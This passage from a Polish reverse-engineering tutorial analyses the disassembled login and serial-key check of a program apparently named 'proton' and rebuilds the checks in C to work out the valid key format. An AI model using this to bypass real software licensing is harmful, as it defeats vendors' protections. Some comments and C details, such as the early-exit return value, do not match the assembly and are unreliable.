    return 1;
}

int main(void)
{
    char LoginBuffer[16]={0};
    LoginCheck("VLN\0",LoginBuffer); /*Login może być dowolny, należy tylko pamiętać o null-byte na końcu */
    HexPrint(LoginBuffer,16,'|');
    system("pause");
    return 0;
}
------------END-------------------------------------------[/LoginCheckTest.c]--------------------------------------------------

Jak widać na poniższym obrazku oba hashe są identyczne, a zatem możemy uznać odwzorowanie
za dokładne (chociaż w oryginalnej funkcji można doszukać się pewnych błędów).

Teraz pora przeanalizować fragment z przed skoku i zobaczyć co jeszcze pan Vladimir nam tutaj zgotował :)


100108B1  |. 83C4 08               ADD ESP,8                                              ; czyścimy stos z argumentów LoginCheck
100108B4  |. 85C0                    TEST EAX,EAX                                      ; sprawdzamy co zwróciła funkcja LoginCheck
100108B6  |. 0F84 B2000000   JE proton.1001096E                                 ; jeśli zero to skaczemy (:
100108BC  |. 68 78A40310      PUSH proton.1003A478                           ;  ASCII "0123456789" ;Klucz ląduje na stosie
100108C1  |. E8 EAFEFFFF    CALL proton.100107B0                            ; i wywołanie kolejnej funkcji, ze względu na jej argumenty nazwiemy ją KeyCheck










A teraz pora na analizę :)

100107B0  /$ 8B4C24 04          MOV ECX,DWORD PTR SS:[ESP+4]                            ;  Do ECX leci nasz klucz / [ESP=RET]
100107B4  |. 56                           PUSH ESI                                                                         ;  zachowujemy ESI
100107B5  |. 33F6                       XOR ESI,ESI                                                                    ;  zerujemy ESI
100107B7  |. 8039 00                  CMP BYTE PTR DS:[ECX],0                                         ;  if(Klucz[0]==0)
100107BA  |. 74 2A                    JE SHORT proton.100107E6                                            ;    goto Exit
100107BC  |. 53                          PUSH EBX                                                                        ;  zachowujemy EBX
100107BD  |> 33C0                    /XOR EAX,EAX                                                                ;  zerujemy EAX               do{
100107BF  |> 8A90 B0CB0210  |/MOV DL,BYTE PTR DS:[EAX+1002CBB0]               ; do dwóch dolnych bajtów przenieś bajt spod EAX+1002CBB0                                                           ; [*CZYTAJ PONIŻEJ TEGO KODU] do {
100107C5  |. 8A19                       ||MOV BL,BYTE PTR DS:[ECX]                                   ; do BL leci znak z naszego klucza
100107C7  |. 3AD3                      ||CMP DL,BL                                                                    ; czy są równe? [**]
100107C9  |. 75 07                       ||JNZ SHORT proton.100107D2                                      ; jeśli nie to skok.
100107CB  |. 8886 F8F81210      ||MOV BYTE PTR DS:[ESI+1012F8F8],AL                  ; do adresu w nawiasie wpisz wartość iteracji EAXa[***]
100107D1  |. 46                            ||INC ESI                                                                          ; zwiększ ESI o jeden
100107D2  |> 40                           ||INC EAX                                                                        ; tak samo postąp z EAX
100107D3  |. 83F8 20                   ||CMP EAX,20                                                                  ;                         
100107D6  |.^7C E7                     |\JL SHORT proton.100107BF                                        ; }while(EAX<20)
100107D8  |. 8A41 01                  |MOV AL,BYTE PTR DS:[ECX+1]                               ; do AL przenieś następny znak
100107DB  |. 41                           |INC ECX                                                                         ; ECX zwiększ o jeden
100107DC  |. 84C0                       |TEST AL,AL                                                                  ; {
100107DE  |.^75 DD                    \JNZ SHORT proton.100107BD                                      ; while(Login[ECX]!=);
100107E0  |. 83FE 14                   CMP ESI,14                                                                      ; Czy ESI jest równe 36 [****]
100107E3  |. 5B                            POP EBX                                                                          ; sciągamy ze stosu EBX
100107E4  |. 74 04                       JE SHORT proton.100107EA                                           ; if(ESI==20) goto SUCCESS;
                  | EXIT:
100107E6  |> 33C0                       XOR EAX,EAX                                                               ; wyzeruj EAX
100107E8  |. 5E                            POP ESI                                                                            ; ściągnij ze stosu ESI
100107E9  |. C3                            RETN                                                                               ; return 0;
          | SUCCESS:
100107EA  |> B8 01000000        MOV EAX,1                                                                     ; EAX=1
100107EF  |. 5E                           POP ESI
100107F0  \. C3                           RETN


*
A cóż to kryje się pod adresem 1002CBB0? Ano mamy tam coś takiego :

Jest to swego rodzaju klucz zawierający cyfry od 2-9 i znaki A-Z, łącznie 32 bity.
A zatem w DL ląduje któryś z w/w, zależnie od iteracji EAX
Nazwiemy go sobie KeyKey :)

**
Pętla ta ma za zadanie sprawdzać czy Login[ECX]==KeyKey[EAX]
tzn. sprawdza czy odpowiedni bajt naszego klucza jest czyfą, czy WIELKĄ LITERĄ, tylko wtedy ESI wzrasta

***
Pod DS:[1012F8F8] znajduje się pusty ciąg znaków.

****
A zatem już wiadomo, że klucz do tego programu musi składać się z cyfr 2-9 i liter A-Z i mieć długość 20 bitów.
Z naszym kluczem '1234567890' nie zostaniemy nigdzie dalej przepuszczeni, bowiem jest on za krótki (a do tego posiada 1)
zmieńmy go zatem na 'ABCDEFGHIJKL23456789' :)

Spójrzmy teraz jak to powinno wyglądać w języku C:
zamieszczam już gotową funkcję wraz z jej wywołaniem i funkcją HexPrint:

/**************************************************************************************************************
<KeyCheckTest.c>
**************************************************************************************************************/
#include <stdio.h>
#include <stdlib.h>

void HexPrint(unsigned char *ToPrint,unsigned short len,char sep)
{
     printf("________________________________________________________________\n");
     printf("\t[Hex Print]\t[0x%08X]\t[%d bytes]\n",ToPrint,len);
     printf("----------------------------------------------------------------\n");
     printf(" Offset\t%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c%04X%c\n",sep,0,sep,1,sep,2,sep,3,sep,4,sep,5,sep,6,sep,7,sep,8,sep,9,sep);
     printf("----------------------------------------------------------------");
     unsigned short i,j;
    
     for(i=0,j=0;i<len;++i)
     {
         if(i%10==0)
         {
            printf("\n\r %c%04X%c\t%c",sep,j,sep,sep);
            j=j+0x000A;
         }
         printf("0x%X%c",ToPrint[i],sep);
        
        
     }
     printf("\n----------------------------------------------------------------");
     printf("\n________________________________________________________________\n");
}


int KeyCheck(char *Key,char *buffer)
{
     unsigned short i_Loop=0;
     unsigned short i_Key=0;
     unsigned short i_KeyKey=0;
     unsigned short i_Buffor=0;
    
     char AL=0;
     char *KeyKey = "23456789ABCDEFGHIJKLMNOPRSTUWXYZ";
     if(Key[AL]==0x00) goto EXIT;
    
     do
     {
         i_KeyKey = 0;
         do
         {
               if(Key[i_Key]==KeyKey[i_KeyKey])
               {
                  buffer[i_Buffor] = i_KeyKey;
                  ++i_Buffor;
               }
               ++i_KeyKey;
              
         }
         while(i_KeyKey<0x20);
        
         AL = Key[i_Key+1];
         ++i_Key;
     }
     while(AL!=0x00);
    
     if(i_Buffor==0x14)
 EXIT:
      return 1;
     else
      return 0;
}

int main(void)
{
    char *buff[20] = {0};
    int ret = KeyCheck("0123456789",buff);
    printf("KeyCheck = %d\n",ret);
    HexPrint(buff,20,'|');
   
    system("pause");
    return 0;
}
/**************************************************************************************************************
</KeyCheckTest.c>
**************************************************************************************************************/

Porównajmy wyniki dla naszego obecnego klucza, którego używaliśmy do tej pory:


i dla nowego, który ustalilśy wcześniej:



Jak widać zgadzają się w 100%, zatem odwzorowanie możemy uznać za dokładne.


Koniec Części Pierwszej.